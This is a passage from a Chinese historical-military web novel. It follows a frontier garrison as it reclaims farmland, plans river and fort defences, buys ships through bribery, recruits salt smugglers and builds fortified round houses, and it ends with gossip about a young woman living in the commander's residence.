他年约五旬,面容黝黑布满沟壑,但眼神锐利,指挥若定。曾是坐拥数百亩田产的小地主,只因得罪本地豪强而家破人亡,流落至此。
王槐慧眼识珠,暂命他为农业补领队。周大山果然不负众望,将两三千人的垦荒队伍调度得井井有条:
壮汉们负责最费力的清除树根巨石;心细者负责将草根、草籽搂拾干净,防止日后再生;
还有人专门负责用石灰划线,预留田埂,规划未来的阡陌交通;
更有专门的队伍,沿着地势高低,开始挖掘灌溉用的毛渠,可将河流的水引入这片新生的土地。
一辆辆牛车、马车往来不绝,将地里的石头运回军寨,用于加固寨墙;
挖出的树根、草根则被摊开晾晒,将成为食堂的柴火。
整个荒原,如同一口沸腾的大锅,充满了泥土的腥气与劳动的汗味。
“哎呀,我的娘哎!”就在这时,伴随惊呼,靠近一片潮湿洼地的队伍突然发生了一阵骚动。几名壮丁惊慌地后退,指着刚翻开的一个大土坑。
只见坑底,七八条粗如儿臂、黄黑相间的菜花蛇缠绕在一起,正在冬眠中被惊醒,慵懒地扭动着身躯。
“长虫,有长虫!”有人惊呼,引得周围人群一阵紧张,尤其是些妇人,更是吓得脸色发白。
“莫慌!莫慌!”一个声音洪亮的猎户排众而出,仔细瞧了瞧,咧嘴笑道:“是菜花蛇,没毒的!这东西冬天就爱扎堆睡,这可是送上门的肉菜!”
一听没毒,还是“肉菜”,人群的恐惧顿时变成了好奇与兴奋。
几个胆大的汉子在猎户的指挥下,找来箩筐,小心翼翼地将这些尚在迷糊中的肥蛇一条条请了进去,又往周边挖了挖,足有几十条。
中午,临时食堂肉香弥漫,垦荒队伍的伙食便额外添了一锅热气腾腾、香气四溢的蛇肉羹。
虽然分到每人碗里不过几块,但蛇肉那鲜美的滋味,足以让这些辛勤的垦荒者笑逐颜开。
这种翻地挖到蛇窝不是个例,有时也能挖到一窝田鸡。一股脑送到伙房,这也成了枯燥劳动中一份意外的惊喜,更是茶余饭后的谈资。
周砀山有丰富的种植经验,知道想要养活一个上两三万人的军寨,开垦田地至少也得几万亩。
因春耕将近,时间紧迫,目前人数还是不够的,于是他上报老保长后,从狼戎族那边也组织了以女人为主的两千多人加入队伍进行垦荒。
随着各项赛事结束,大批辅兵、民兵乃至战兵也轮流加入垦荒大军,使得进度大大加快。
一片片整齐的田地被开垦出来!
就连与铁血军寨外的飞虎卫亲卫营,在冬季接受了寨子不少物资补给,赵平和周扬也投桃报李,派出一队精锐前来帮忙,或策马在垦区外围巡逻,防范可能从林中窜出的饿狼群。
当然,人上一百,形形**。在这片充满希望却也充满艰辛的土地上,摩擦与矛盾在所难免。
有人想趁机多搂点柴火回家,被巡逻堡兵厉声喝止;有人与他人不是因为什么而发生争执……
尤其是当田地丈量出来,陆续按抓阄方式分配。哪怕这种全靠运气的,也有人因田地分配远近、或肥瘦而心生不满,在堡墙下低声抱怨:
“凭啥他王老五家的地就在河边上,浇水抬脚就到?”
“就是,俺家的地靠山脚,石头多不说,引水还得翻个小坡,这得费多大劲!”
这些嘀咕声,自然也传到了王槐和秦猛的耳中。
对于分配土地可能引发的矛盾,秦猛与王槐早已预见。
就在抱怨声渐起的第二天,垦荒区的几处显眼位置就贴出了盖有军寨大印的告示,更有嗓门洪亮的兵士敲着铜锣,沿田埂大声宣读:
“军寨令:所有开垦的田地属于军寨共有产物。不得私自贩
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卖,属于各家财产,享有耕种权。
凡分得田地偏远或贫瘠者,可优先登记使用军寨耕牛!农曹将提供肥地方略,指导堆肥沤肥!
木工坊已经打造好了许多水车,待沟渠通达,灌溉无忧!
军寨倡议,邻里互助,同心协力,先把田地开垦出来,大片荒地等着咱。人人都有土地,保证都种不过来,确保首季丰收,人人饱暖!”
这纸告示,如同一颗定心丸,有效地平息了大部分怨气。
是啊,军寨并非撒手不管,而是提供了实实在在的帮助。
想到即将到来的播种,想到绿油油的禾苗和金灿灿的收获,人们心头的些许不平,大多被对未来的憧憬所取代。
干劲再次被激发出来,一片片土地被整治得平平整整,阡陌纵横,一望无际,孕育着无限的生机。
就在这垦荒热潮如火如荼之际,军寨的拓展也在同步进行。
秦大壮带着斥候,目光如鹰隼般时刻注视着界河北岸的风吹草动,警惕着任何可能的威胁。
而李山,已率领本部人马护送工匠,作为先遣队开赴芦苇堡旧址。他们的任务是清理废墟,搭建临时营地,并大量收集河滩上枯黄的芦苇。
随行的工匠队伍,则开始勘察那座半坍塌的砖窑,叮叮当当的修缮声,预示着又一项重要工程即将启动。
——重建芦苇堡,将其打造为军寨前出的坚固支点。
军寨内部的建设同样不曾停歇,木工坊里,几架新的改良水车构件正在成型;铁匠铺中,除了兵器,更多的锄头,铁镐农具被打造出来……
夕阳的余晖将南寨墙染成一片金红。
秦猛凭墙而立,眺望下方初具规模的万顷良田。
他目光又投向更远处芦苇堡的轮廓,沉声对身旁的诸葛风道:“子壑,你看,田地是根基,堡垒是铠甲。根基越深,铠甲越坚,我们才能在这虎狼环伺之地,真正站稳脚跟。”
诸葛风轻摇羽扇,颔首道:“大人明见。春耕已入正轨,军寨防御日臻完善,李山将军亦已在芦苇堡动工。
然,属下思之,单凭加固戍堡,恐难应对未来复杂局势。以我铁血军寨为核心,西面芦苇堡、东面双涡堡,三地若能巧妙串联呼应,再辅以新法,或可铸就一道真正的金城汤池。”
秦猛目光骤然锐利:“先生已有良策?速速道来!”
诸葛风却微微一笑,卖了个关子:“此地非谈话之所,且容属下回署后,再将草图与构想,细细禀于大人。若成,或可让边境防线更加稳固。”
“那咱回去聊!”秦猛闻言,眼中精光一闪,心中期待更甚。拉着诸葛风,就往军寨官署走去。
第329章 沙盘定策,水陆联防
军寨官署内,灯烛通明。
诸葛风手持竹竿,点向沙盘上三处关键节点:“大人请看,重修芦苇堡后,旧法戍堡,重在自身坚防,然堡与堡之间,易被敌军分割。
属下之策,在于‘点、线、面’结合,主动联防。”
“其一,三点固守,中间开花。”
竹竿重点标记铁血军寨、芦苇堡、双涡堡。“此三处,不仅是防御支点,更是出击基地。
除常规加固外,关键在于,在军寨与东西两堡之间,距军寨约三五里后方险要处,各秘密修建一座营寨。”
他在地图上标出两个新点。“此二营不需如戍堡般巨大,但需屯驻精锐,储备粮草军械。
平日隐蔽,战时则如蛟龙出洞。
若敌军攻我任一戍堡,两翼营寨精兵可迅速出击,与军寨主力形成夹击之势,让来犯之敌腹背受敌。”
秦猛眼中精光暴涨:“妙!如此一来,三堡不再是孤点,而是铁三角!相互策应,攻守兼备!”
“大人明鉴。”诸葛风继续道,“其二,锁河筑垒,烽燧预警。”
他手中竹竿移向界河。“界河乃天堑,亦是最大隐患,尤其枯水期,浅滩处处,**骑兵可肆意涉渡。
故,当在关键浅滩区域,择地修筑低矮石堤、暗坝,并不求拦断河流,但求大幅延缓、扰乱敌军渡河节奏,使其骑兵集群优势难以发挥。
同时,沿河岸、乃至向更外围延伸三十里,增建五座烽火台!台高、墩固,配精干斥候,配备不同烟火信号,遇敌绕行入境,则举烽,使我军能提前半日甚至一日预警,从容布防。”
“好!此策更深得我心!”秦猛拊掌,“以往总被动挨打,若能提前预警,主动设伏,战局将大不相同!
我军寨如今钱粮充足,董袭、孙仁等蛀虫贡献海量财富,加上盐酒之利,正该用在此等刀刃上!这些工事给我用最好的料,雇最好的匠人,尽快修筑起来!”
诸葛风见秦猛全力支持,心中大定,又道:“如此一来,陆上防线可谓初步稳固。然,属下尚有一忧——界河乃动态屏障,夏季水涨自是坦途,冬季冰封亦成通途,这水陆之防……”
秦猛哈哈一笑,成竹在胸:“子壑所虑,正是关键。界河不仅是屏障,更应是我等之第一道水上防线!
我早有打算,组建一支内河水军!化冻之后,战船便可巡弋河上,掌控水道。即便枯水期,亦可靠吃水浅的快船扼守浅滩,辅以堤坝,令**寸步难行!”
诸葛风闻言大喜,旋即又忧:“大人高见!可…,冬季河流封冻,水军岂非无用武之地?”
“此事我早有考量。”秦猛手指沙盘上一处湖泊,“距此军寨数十里,有一处大泽,名‘雁回湖’,水面开阔,且通过一段废弃运河与界河支流相连。
稍加疏浚,便是绝佳的水军基地及避冬港!届时,夏季战船出湖入河,巡防作战;冬季则回港停泊,避冰,水军士卒亦可回寨协防。”
诸葛风叹服:“大人深谋远虑,属下拜服!只是,这战船从何而来?咱军寨船只,双涡堡目前仅有些许破旧渔船、哨船,不堪大用。”
秦猛见问到关键,眼中闪过一丝得意,压低声音道:“子壑放心,战船之事,我早已使李明已带队,携重金前往海州威海军造船厂。
以我名义,购置适合内河巡防的快船乃至中大型战船。此事若成,我铁血军寨便是如虎添翼!”
诸葛风深吸一口气,终于明了秦猛的全盘布局。陆上三点联防、锁河烽燧,水上舰队巡弋、湖港基地,再加上充足的财力支撑……
这一套组合拳下来,铁血军寨的防御体系将发生质的飞跃,真正具备成为前沿边塞重镇的潜力!
“大人运筹帷幄,诸葛风敢不竭尽全力,助大人将此宏图变为现实!”
灯火下,秦猛与诸葛风相视而笑,随着他们讨论完善,一幅坚固防线与强大水军的蓝图,已然在这边塞军寨的官署中,清晰地勾勒出来。
就在幽州军寨内部大肆垦荒、积极备战的同一时期,秦猛布下的另一枚暗棋,心腹李明,已率领百余精悍亲兵,于二月底悄然赶赴老家——与欧洲接壤,军寨以东百多里外的海州。
此地情况复杂,堪称大周东北边疆的另一个**桶。
海州东临北海,与高丽、倭国隔海相望,仅有西北一隅与北疆幽州之地有狭窄通道相连。
因其特殊的地理位置,大周在此驻扎了威海军,既是防御北海上的威胁,也兼顾侧翼,一定程度上屏护幽州后方。
然而,威海军将士疏松训练,面临的压力年年递增。
东北方,东胡联盟的鞑虏骑兵时常绕过山脉,从侧翼侵扰海州北部;而东面的海疆之上,来自东瀛的倭寇如同豺狗横行无忌,乘着快船登岸,烧杀抢掠,令沿海州县苦不堪言。
海州的经济与幽州内陆截然不同,是典型的沿海州府。
沿海港口码头众多,贸易兴盛,而位于沿海州县的许多造船厂更是名闻大周,技术雄厚,能够建造装载数千料(一料约合一石)货物的大型海
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船,是大周北方最重要的造船基地之一。
李明此行的三项核心任务之一,便是设法从这威海军造船厂,获得建立起水军急需的远航船只。
海州,威海军造船厂,辕门高耸,戒备森严。空气中弥漫着桐油、木材和海水特有的咸腥气味。
督造官是一名姓王的参军,身着青色官袍,面色倨傲,端坐在官署之内。
李明递上凭信,表明来意,想购买六艘船厂新近下水的千料海船。
王参军眼皮都未抬一下,只用指尖轻轻敲着桌面,慢条斯理地道:“战船、海船,皆属军国重器,关乎海防大局,岂是尔等说买就能买的?
如今厂务繁忙,订单已排至三年之后,你们……且排队等着吧!”
他话语冷淡,拒人于千里之外。
李明不慌不忙:“王大人,俺其实是奉飞虎卫秦统领之命购船,北疆边军急需战船巡防界河,以防草原**异动,此乃军情紧急。”
“飞虎卫?”那王参军眼皮一跳,正色询问道。
“秦统领?哪个秦统领?”
“秦猛将军,去岁连战连捷,杀**过万的那个。”李明昂首挺胸的回应,脸上充满了自豪。
“是她?”王参军面上露出惊色。
“大人说过,界河巡逻队,除了防范**南下,以后还得出海绞杀倭寇,望参军大人相助。”
李明表明态度后,示意手下抬进一口箱子,箱盖打开,里面是白花花的官银和璀璨的珠宝。
“一点茶水钱,不成敬意,还望大人行个方便,让我铁血军寨插个队,提走几艘已完工的海船。”
王参军看到钱财,脸色稍缓,但仍有犹豫。
“这……规矩不合啊……”
李明上前一步,低声道:“边军苦寒,另有五百两‘炭敬’已送至大人府上。况且,此事若成,秦统领特意嘱咐,边军欠大人一个人情。
他日大人若有亲友欲往边军建功,我等必当厚报。今年若是北方鞑虏来袭,我军也能相助一二。”
威逼(军情)利诱(重金)加上人情许诺,三管齐下,王参军终于“勉为其难”地点了头。主要还是铁血军寨给的太多,买卖非常划算!
当天夜晚,六艘崭新的大海船,便神不知鬼不觉地脱离了威海军的序列,以“质量不合格,船舱漏水维修、折价处理”的名义被秘密移交。
另外还附赠三艘四百料的鱽鱼船。
以及这位海州最大造船厂王参军的一封介绍信……
(料:是船载重单位,一料等于一石)
第330章 海州招兵买马
从威海造船厂交接的六艘海船,其中两艘两千料、四艘一千料,三艘鱽鱼快船四五百料……
此外,李明手持这封推荐信,接下来的行动顺利了许多。
他马不停蹄,走访了沿海另外几家有实力的官私船厂。
王参军的名帖果然是好用,加上铁血军寨的威名,以及充足的银钱开道,李明又如法炮制,以惊人的“优惠价”接连购入三艘两千料大船、五艘千料海船、十多艘数百料的各式船只。
短短时日,共计有了近三十条船,全泊在临时租用的锚地里,桅杆如林,船队初具规模。
但光有船不行,得需配备水手、士卒驾驭,招募水性好的汉子训练,以及聘请舟师更是关键!
李明此行的另一项重要任务——在沿海各地招募精通水性的勇健之士,也紧锣密鼓地展开。
李明派人分头前往沿海各港口、渔村。开出比当地水师高出三成的饷银,并许诺家属可受边军庇护,迁到军寨落户分田地,或安排工作……
海州境内,各码头上、渔村里,铁血军寨招兵的旗帜立起,优厚的饷银和安家费,投军优厚的待遇,吸引了不少讨海为生的汉子前来探问。
根据军寨水军标准来招募军卒,船工。一旦合格录取,便当众给安家费,统一登记入军籍。
重赏之下,必有勇夫。
尤其是李明这伙人有些名气,越来越多的精壮汉子,听到消息后,纷纷赶来求证,李明现身说法,军寨待遇好,人们争先恐后的入伍。
很快就招募了数百名经验丰富的渔民和落魄水手。一支能征善战的水师骨架,正悄然成型。
如此大规模的动作,自然引起了海州郡县官府的注意。
这日,海狼镇正招募火热时,一名班头带着几名衙役前来盘问,语气刁难:“尔等是何人?**如此多青壮,意欲何为?莫非是海盗内应?”
李明早有准备,亮出盖有幽州边军大印的公文,神色从容:“我等乃幽州虎贲军将士,奉命在此招募民夫,往北疆修筑工事,防范鞑虏。
此乃公务,何来**青壮一说?兄弟若不信,可查验公文真伪,也可去文幽州帅司核查便是。”
他一边用正式的官方文书稳住对方,一边又让手下塞过去一包沉甸甸的银币,“兄弟们辛苦,一点酒钱,咱是奉命办事,还请行个方便。”
那班头掂了掂钱袋,又看了看杀气腾腾的边军悍卒,知道这群人不好惹,便叮嘱几句后离开。
李明则下令加快招募速度,并让新招募的水手,老船师及各自家属陆续向北迁移,以绝后患。
海州,犹如一个半岛戳在海中,因此得名。海浪轻轻拍打着礁石,咸湿的空气里混杂着咸腥味。
在海州漫长的海岸线上,大大小小的渔村星罗棋布。渔民们几乎人人都会用土法熬煮海盐。
但朝廷在海州设立多座官盐场,盐,乃官营专卖,私盐贩卖是重罪,故百姓熬海盐多只能自用。
然而,贩盐,自古以来就是暴利。利润可观的情况下,人人为之冒险,因此诞生了许多私盐贩子!
可这些人绝大多数都是本地人,隐藏在各处渔村。官府根本就没有办法剿灭,只能睁眼闭眼。尽可能的以官盐坊,廉价收购他们的海盐。
但明面上时不时打压,官吏敲骨吸髓是常有的事儿。
海州的私盐市场,并非铁板一块,而是大小势力盘根错节。
其中,较成气候的有三股:
“浪里鲛”孙阔:手下三百余人,掌控十几个渔村,为人机灵圆滑,又会察言观色,是墙头草。
“过江龙”赵彪:势力最大,有四百多号亡命徒,掌控着最好的几处熬盐点,是实力最强的地头蛇。
“翻海鲨”刘猛:手下两百余人,皆是悍勇好斗。他本人更是脾气暴躁,头脑简单,是块难啃的硬骨头。
此外,还有几十伙十几人到上百人不等的小团伙,大多贩卖私盐,得仰仗这三家的鼻息。
以前李明和手下也属于这团伙之一。
第三个任务,他就是奉命来找私盐贩子谈合作。
秦猛深知,想快速为水军注入成建制的海上力量,这些刀头舔血、熟悉风浪的私盐贩子,稍加训练即可,是远比普通渔民更佳的选择。
李明没有先去碰实力最强、爪牙众多的“过江龙”赵彪,也未招惹性情暴烈、软硬不吃的“翻海鲨”刘猛,而是将首个目标锁定在了以机灵圆滑著称的“浪里鲛”孙阔身上。
会面地点约在了一艘海湾渔船上。
船篷下,油灯摇曳。孙阔带着几个精干手下,谨慎地打量着李明及其身后几名披甲持锐的亲兵。
当李明表明身份,亮出幽州飞虎卫铁血军寨的部将公文和印信时,孙阔的眼睛瞬间瞪得溜圆。
“啥?边军…部将?”他几乎不敢相信,眼前这个半年前还和他一样在海上奔波贩私盐的李明,如今竟成了正经的朝廷武官(从八品)。
他好奇地推开公文,又忍不住伸手摸了摸亲兵身上冰凉的铁甲片,触手生寒,也让他心头剧震。
“好,好啊!李兄弟真是起来了!再见时,已是官身!”孙阔连连赞叹,眼神复杂,既有羡慕,也有一丝不易察觉的警惕。
李明顺势抛出了条件:“孙老哥,明人不说暗话。带着你的兄弟跟我走,有稳定财路、北疆安家,皆可兑现。总好过在此地,终日提防官府的围剿。”
孙阔眼珠一转,精明本色立显,他搓着手笑道:“李兄弟,您这饼画得是圆,可北疆苦寒之地,兄弟们拖家带口,背井离乡,这安家费……”
李明知道空口无凭,微微一笑
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,示意手下抬过一个木箱。箱盖打开,白花花的银锭格外诱人。
“这里是五百两现银,作为安家定金。孙当家若点头,立刻便可拿走。你和你手下核心的几十个兄弟,每人再加三十两‘搬迁费’。
到了北疆,自有田宅分配。老哥你嘛,我推荐你做水曹副史,边军,从不亏待真心投效的弟兄。”
他语气一转,略带深意地补充道:“况且,孙老哥,海州这碗饭还能吃多久?万一哪天官府真要动真格,或者触了哪路神仙的霉头,你和弟兄们可就……找个正经出身,可就不易了。”
真金白银加上隐隐的威压,彻底击穿了孙阔的心理防线。他看着银子,想到终日躲藏的狼狈,再对比李明展现的光明前途,甚为不平。
他猛地一咬牙,拍案道:“**!这提心吊胆的日子老子也过够了!李兄弟如此豪爽仗义,我孙阔要是再不识抬举,就是给脸不要脸!我和我这帮兄弟,以后就跟着边军混了!”
孙阔的投诚,效果立竿见影。
他利用自己在私盐圈子里的关系和信誉,很快为李明引荐了几个素来交好、同样不愿一直过提心吊胆日子的小头目。
这几伙人虽然每队只有几十人,但加起来也凑出了三百名精通水性、敢于搏命的老练汉子。
这效率,远非公开招募所能及。
初步整合了这批力量后,李明决定更进一步。他找到以往的相识又通过孙阔等人放出消息。
以“北地豪商”的身份,邀约海州各地有头有脸的私盐贩子头目前来一会,声称有笔关乎大家未来财路的大生意要谈。
数日后,一处偏僻的渔村大院,灯火通明,鱼龙混杂。
大小数十个私盐头目齐聚一堂,其中不乏“过江龙”赵彪派来的代表和“翻海鲨”刘猛手下满脸横肉的汉子。
众人交头接耳,猜测着这位神秘商人的意图。
待到众人到齐,李明不再掩饰,走到堂前,环视一圈这些桀骜不驯的面孔,朗声道:“诸位当家,在下李明,并非什么北地商贾。**,曾经也是海州私盐团伙中的一员。
去年前投军,如今李某乃是幽州刺史府水军部将!”
此言一出,满堂哗然,不少人惊呼,或瞪着眼睛。纷纷下意识地按住了腰间暗藏的兵刃。
李明不慌不忙,继续抛出他的真实目的:“今日请诸位来,一不为剿匪,二不为断诸位生路。恰恰相反,李某也知道各位处境,是想给诸位和手下兄弟们,指一条更光明的通天大道!”
“你们手中积攒的海盐,崔刺史愿意批量收购。只要界河化冻,你们送往指定地点,高出市价三成……”
“什么?”
“真的?”他这番话,如同投入平静湖面的巨石,瞬间在所有私盐头目心中激起了巨大波澜。
第331章 北疆春醒,军寨新象
北疆的寒冬是能将人骨头都冻透的冷。
但春天的归来,却也带着一股不容置疑的迅猛势头。
才入三月中旬,凛冽的北风悄然转柔,阳光已带了明显的暖意。
一夜绵绵的春雨过后,清晨醒来,人们惊喜地发现,屋檐下那挂了一冬的冰凌子,正滴滴答答地化水。
积攒了整个冬天的厚重积雪迅速消融,露出下面饱含水分的黑土地。
“哦吼,开冻了!”消息像春风一样传遍铁血军寨。早已按捺不住的人们纷纷脱下了笨重的外袍、手套和护耳的毡帽,尽管早晚寒意依旧,但午间的日头已经能晒得人脊背发暖。
寨子外,被冰雪封冻了数月的土地变得松软,正是开垦的好时机。
广袤的田野上,人影绰绰,热火朝天。以小队为单位,青壮劳力们喊着号子,挥动镐头和铁锹,将沉睡了一冬的荒地唤醒。
冻土化开后的泥土带着特有的土腥气,在犁铧下翻滚出黑色的浪花。
根据农业领队周大山的规划,一片片土地被清晰地划分出来:
那些土块还硬、排水稍差的坡地,准备种上耐瘠薄的粟米;
地势平坦、墒情良好的大片地块,则划给了春小麦;
至于田埂边角和水渠附近,则见缝插针地计划点种上高粱、大豆和耐储存的土豆,瓜果等。
周大山捻着胡须对秦猛汇报:“大人,这新垦的荒地,头年肥力不足,种不了精贵的水稻。先让这些粟米荞麦等,养养地,明年再看情况调整。”
寨内,营建之势更如火如荼,位于寨子东南规划的附寨商业区工地上,人声鼎沸,干劲冲天。
“大伙抓紧干!”老保长王槐拄着拐杖,却精神矍铄,手持一面小旗,声音洪亮地指挥调度。
在他的得力组织下,数百名劳力被分成数队,高效协同:
一队人专门负责从远处的砖窑厂,用独轮车和骡马,将新出窑、还带着余温的青砖源源不断运来,车队绵延不断,宛如移动的长龙;
另一队人则忙着用大铁锅烧开雪水,一部分泼洒在残留的冻土上加速融化,
更重要的,是用热水来调和那新奇物事——“土水泥”。
这“土水泥”,乃是秦猛根据模糊记忆提出的构想,由寨中砖窑厂的匠头沈师傅领着徒弟,经历了十数次失败的试烧,才逐渐掌握了门道。
主要用石灰、精心筛选的黄粘土按特定比例混合,在窑内控制火候烧制成熟料,再磨成细粉。
虽因条件所限,其强度和耐久性远不如秦猛所知的后世水泥,但却比起传统的三合土或糯米灰浆,粘结性和固化速度已强上不少,用作这种砖石类建筑的粘合剂,已是绰绰有余。
幸好,去岁土地封冻前,所有建筑的地基都已抢挖夯实,并用石块垒砌牢固。
如今,在充足的人力物力保障下,附寨的轮廓一日比一日清晰。一座座用青砖水泥砌筑的铺面与民居,正破开残留的雪泥,拔地而起。
这些建筑样式统一而奇特,并非常见的方正院落,而是呈圆柱形,墙体厚实异常,远望如同一个个坚固的堡垒。
普通民居版本的,内部用木结构分隔成七八个房间,可住十几口人,厚实的墙体上开着内宽外窄的射击孔;
作为铺面的,内部则更显开阔,便于陈列货物。
而其中最为宏伟的建筑,莫过于刚刚竣工的学堂。它由数座大小不一的圆柱形“堡垒”通过廊道连接而成,中间围出一个宽敞的操场。
最大的“堡垒”作为教室,窗明几净;旁边稍小的则作为仓库和伙房。秦猛已吩咐下去,待地气再暖和一些,便在学堂院内打一口深井。
他站在学堂前的空地上,对身旁的王槐解释道:“如此一来,学堂便不仅是读书之地。一旦有警,此处有高墙、有水井、有存粮,便是一个现成的避难所和防御支点,可保妇孺安全。”
这种独特的环形建筑样式,自然是秦猛借鉴了记忆里“永定承启楼”的智慧,内部宽敞、防御性强,抗战时常被村民用作“天然碉堡”
他将那种集居住与防御于一体的理念简化后应用于北疆,使得每一座新建筑都不仅是居所,更是军事建筑,是一个个小小的战斗堡垒。
相比低矮的铺屋,这建筑更加高大。
秦猛称为“寨楼”,铁血军寨和麾下戍堡大力修建。
寒风依旧,但望着这片在苦寒之地上顽强生长起来的“堡垒群”,每个人都感觉心中的希望,如同这脚下的地基,正变得越来越坚实。
……
双涡堡,这个昔日仅有两百来户军户的普通戍堡,自去岁起,便迎来了翻天覆地的变化。
海州涌来的流民,让堡内人口暴增至一千五百余人。
战功擢升的堡主张富贵,如今也算是一方人物,新官署设在原队将黄安的府宅,后被堡衙花钱买下,并按寨楼样式修缮加固,焕然一新。
对于黄安的家眷,张富贵牢记秦猛的叮嘱。
老实本分,堡内保其一生衣食无忧;
若有异心,暗地里搞怪,那就休怪军法无情!
张富贵自知管理经验匮乏,但他有个最大的优点:认准了秦猛的路子就坚决执行到底
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去年冬天,他便将堡内所有保长、文吏以及略识几个字的人,统统打包送到了铁血军寨“进修”。
如今看来,效果显著。
从正月开始,各项事务无需他这位堡主过多吩咐,下面的人便知道各司其职,运转有序。
李保长带着人手严格登录、核实户籍,管理流民安置,防范春疫;
治安队巡逻,维护堡内治安;
文吏们则熟练地组织起以工代赈,营建工作也完全照搬军寨模式——新建的房舍同样是那种兼具居住与防御功能的圆形“兵房寨楼”。
天气转暖,除了少数工匠继续修缮即将完工的堡墙、民居。大部分堡民都被组织起来,成群结队地开垦荒地,为即将到来的春耕做准备。
更是要争取与军寨开荒队伍会合!
田野上,镐头起落,号子声声,一片忙碌景象。
张富贵在堡外训练骑兵之余,巡视着这片充满生机的土地,心中踏实,只要紧跟军寨的步伐,这双涡堡,定然能在这北疆站稳脚跟。
曾经的芦苇堡,早已荒废多年,除了一些石砌的屋基和零星几间侥幸未完全倒塌的铺屋,放眼望去尽是断壁残垣,荒草萋萋。
重修此地,绝非易事。
李山率领本部人马在此安营扎寨,心中却充满干劲。
前来之前,秦猛亲自找他谈过话,言语间已透露出有意,是让他将来担任这芦苇堡的堡主。
这份信任与重托,让路令李山既兴奋又感激,更是深感责任重大,做起事来没有丝毫懈怠。
他亲自带队,每日在堡垒旧址周边巡视,熟悉地形,规划防务。
同时,大部分兵卒则全力配合从军寨调来的工匠队伍,以最快的速度,修缮废弃的窑厂。
窑火很快燃起,冒着滚滚黑烟,开始烧制重建所需的第一批青砖。
主寨那边也派来了多支垦荒队,在堡垒旧址周边,清理荒草,开垦那些曾经肥沃但因战乱而废弃的田地,挖掘疏通被淤泥杂物堵塞多年的灌溉沟渠。
虽然眼前还是一片废墟,但叮当作响的凿石声、窑厂熊熊的炉火、垦荒队此起彼伏的号子声、空气中弥漫的新土气息,以及物资运送,无不宣告着这片死寂之地正在重新焕发生机。
李山站在一处残破的墙垛上,眺望着忙碌的景象,心中勾勒着芦苇堡未来的蓝图。他又看向界河北岸的草原,眼中流露出丝丝杀机。
这时,一名巡逻骑兵飞奔来报,说是芦苇堡工地后方七八里处,郡城巡检司的队伍运送粮食和各种建材抵达,选定位置修建防御关隘。
第332章 流言蜚语,枕边提议
巡检司之所以队伍抵达芦苇堡后坊。
那是相比于双涡堡的有序和芦苇堡的初创艰辛,位于后方的巡检司驻地,则显得格外“热闹”。
随着庞仁升上任为燕北郡巡检!
官府引导流民安置,巡检司前往各县城招募青壮劳力。加上原有的兵卒、苦工,人口已近两千。
人一多,心思就杂,江湖气息和各类矛盾便凸显出来。
以前人少时还好管理,如今却是大事没有,小事不断。
今天你占了我开垦的地界几锄头。
明天他用的公用农具坏了怀疑是上一班的人搞鬼。后天又为争抢食堂里一块肥肉而红脸……
鸡毛蒜皮的争吵几乎每日都在上演。
巡检庞仁被这些琐事烦得焦头烂额,他本是军中出身,擅长训练、剿匪,面对这些婆妈**,只觉得一个头两个大,偏偏却要他处理。
光是调解这些屁事,就占去了他大半精力,严重影响政务。
不胜其烦之下,庞仁决定主动破局。他前往军寨取经,得到秦猛“要彻底守护住军寨后方”的命令,又被老保长建议“吃饭就得干活”理论。
这后方,不仅指军事上的安全,也包括秩序的稳定。
于是,他留下副手刘大头处理巡检司日常琐务。又派人沿着另外两条通往铁血军寨的主要道路进行勘察,选择险要之处建立巡检司的分驻地!
庞仁的思路很清晰:化整为零,分流人口,按人数编队,派任务,分段负责。建立分驻地。
既能将过于集中的人员分散开来,方便管理的同时减少日常摩擦,又能将防御和管控前沿推进,形成梯次防御网络,真正将通往军寨的几条大路牢牢掌控在手,确保大后方的安宁。
这一举措,正是对秦猛战略意图的具体落实和深化。
巡检司才两千人不到,就有口角矛盾。
更何况,铁血军寨这座万**寨,就更是屁事多。幸好军寨规矩严,老保长调解,问题不大。
可军寨的生活艰苦而忙碌,挡不住人们茶余饭后的八卦之心,尤其是在人员众多的衣甲坊。
如今的衣甲坊,早已不是当初那个只有十几名妇人缝缝补补的小作坊。
随着军寨的人口持续涌入,规模扩大,它已发展成为拥有五六百人的军工纺织综合工坊。
内部按工序分成了纺线组、织机组、裁剪组、缝纫组、皮革鞣制组、包装组、库管等十多个组。
整个工坊由爽利能干的王翠花担任都匠头。招募的人手,除了最初的堡民家属,还有大量流民妇孺,甚至还有百来个狼戎部落中招来的健壮妇人,负责搬运布料、鞣制皮革等体力活。
人上一百,形形**。几百个妇人聚在一起,难免张家长李家短。村头赵家的媳妇半夜喊。
这日晌午,休息间隙,几个妇人一边飞针走线,一边闲扯,话题多是骁勇善战的秦知寨,不知不觉就绕到了住在官署后院的林婉儿身上。
“哎,我前个儿随我家那口子去官署送皮子,又见到那位林姑娘了,那气度,真是大家闺秀。”
“听说林姑娘是郡守家的千金?怎么在咱们这儿一住就是一个多月,还住在官署后院里头?”
“可不是嘛,就住在秦大人那,和月娘夫人一起。你说,她一个未出阁的姑娘家,这……是不是和秦大人有点啥?”
“嘘!快别瞎说,林姑娘是来帮咱们救治伤兵的,医术高明着呢!”
“哼,官家小姐,金枝玉叶,谁知道是不是打着行医的幌子,另有心思?”一个妇人略带尖刻的声音响起,语气里带着几分莫名的嫉妒。
本是闲谈,却渐渐变了味道。余杨氏曾得林婉儿亲手救治才从一场重病中康复,闻言顿时竖起眉毛:“闭上你们的臭嘴!林姑娘是咱们的恩人,再敢在背后嚼舌根,看我不撕了你们的嘴!”
“哟,这就护上了?拿了人家什么好处?”
“你再说一遍试试!”
双方顿时吵作一团,引得众人围观。眼看就要动手,闻讯赶来的都匠头王翠花一声暴喝。
“都干什么!活儿干完了?”
“皮子都鞣好了?再敢**,这个月的工钱和粮食配额统统扣半!”
她积威已久,顿时将场面镇住,众人噤若寒蝉,各自散开。
这场争吵,好巧不巧,被前来工坊找王翠花商量伤兵冬装号衣领取之事的陈月娘看在眼里。
她当时没作声,王翠花后续如何处理也没多问,只是默默转身离开,心中却已波澜暗生。
是夜,官署后院寝室内。婚床的嘎吱声终于平息,秦猛喘着粗气,满足地躺倒,准备入睡。
陈月娘却凑了过来,温热的身体贴着他,手臂搂住他的脖子,声音低低地说:“官人,有件事……想跟你商量。”
“嗯?啥事?”秦猛闭着眼,懒洋洋的回答。
陈月娘便将白日里在衣甲坊所见所闻,细细说了一遍,末了轻声道:“……流言伤人,何况是
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对婉儿妹妹这样的清白姑娘。她住在官署,终非长久之计。”
秦猛睁开眼,黑暗中眸光微闪:“这的确是个问题。人言可畏啊。”
